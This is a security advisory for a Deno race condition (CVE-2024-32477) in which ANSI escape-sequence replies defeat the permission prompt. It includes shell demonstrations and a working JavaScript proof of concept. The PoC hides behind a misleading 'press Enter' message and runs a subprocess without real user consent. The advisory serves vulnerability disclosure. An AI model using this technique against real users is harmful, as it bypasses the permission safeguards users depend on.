Skip to content

Race condition when flushing input stream leads to permission prompt bypass

High
mmastrac published GHSA-95cj-3hr2-7j5j Apr 18, 2024

Package

No package listed

Affected versions

< 1.42.2

Patched versions

1.42.2

Description

Summary

By using ANSI escape sequences and a race between libc::tcflush(0, libc::TCIFLUSH) and reading standard input, it's possible to manipulate the permission prompt and force it to allow an unsafe action regardless of the user input.

Details

Some ANSI escape sequences act as a info request to the master terminal emulator and the terminal emulator sends back the reply in the PTY channel. standard streams also use this channel to send and get data. For example the \033[6n sequence requests the current cursor position. These sequences allow us to append data to the standard input of Deno.

$ printf 'AAA\033[6n'; read -N6 x ; printf "\n\nx: `echo $x | base64`\n" 
AAA^[[2;4R

x: G1syOzRSCg==

You can read more about this attack here:

Gnome Terminal and other terminals that use vte support \033[$p escape sequence which its reply always contains a 'y' character. It is implemented in vte/src/vteseq.cc.

$ printf '\033[$p'; read -N6 x ; printf "\n"; echo $x | xxd
^[[;0$y
00000000: 1b5b 3b30 2479 0a                        .[;0$y.

Deno protects against this attack by calling libc::tcflush(0, libc::TCIFLUSH) to flush the input stream before asking user input, however the terminal may send the reply after the moment that the stream is flushed. Since the terminal has to parse and process escape sequences, we can achieve a reliable race by sending a lot of escape sequences.

The user input should start with a 'y' or 'A' but the 'y' in reply is prefixed by ^[;0$. To remove the prefix, we can read 5 bytes of standard input with async read(rid,buf) right before triggering the permission prompt.

Since reply doesn't contain a newline, victim needs to press Enter after the payload is triggered.

PoC

Tested on

  • Gnome Terminal 3.44.0
  • denoland/deno@sha256:9d57a545c9c30fdf6633f4a79033c9ae264b77660c14646e7ba2067796384349
console.log('This module is in beta stage, press Enter if anything went wrong!')
setTimeout(async _=>{
	Deno.write(Deno.stdout.rid,(new TextEncoder()).encode('\x1b[$p'.repeat(2000)))
	Deno.read(Deno.stdin.rid,new Uint8Array(5))
	let cmd = new Deno.Command('id')
	console.log(new TextDecoder().decode((await cmd.output()).stdout))
},2000)
docker run -v `pwd`/poc.js:/poc.js -ti 'denoland/deno@sha256:9d57a545c9c30fdf6633f4a79033c9ae264b77660c14646e7ba2067796384349' deno run /poc.js

Impact

This vulnerability allows an attacker to bypass Deno permission policy.

Severity

High

CVE ID

CVE-2024-32477

Weaknesses

No CWEs

Credits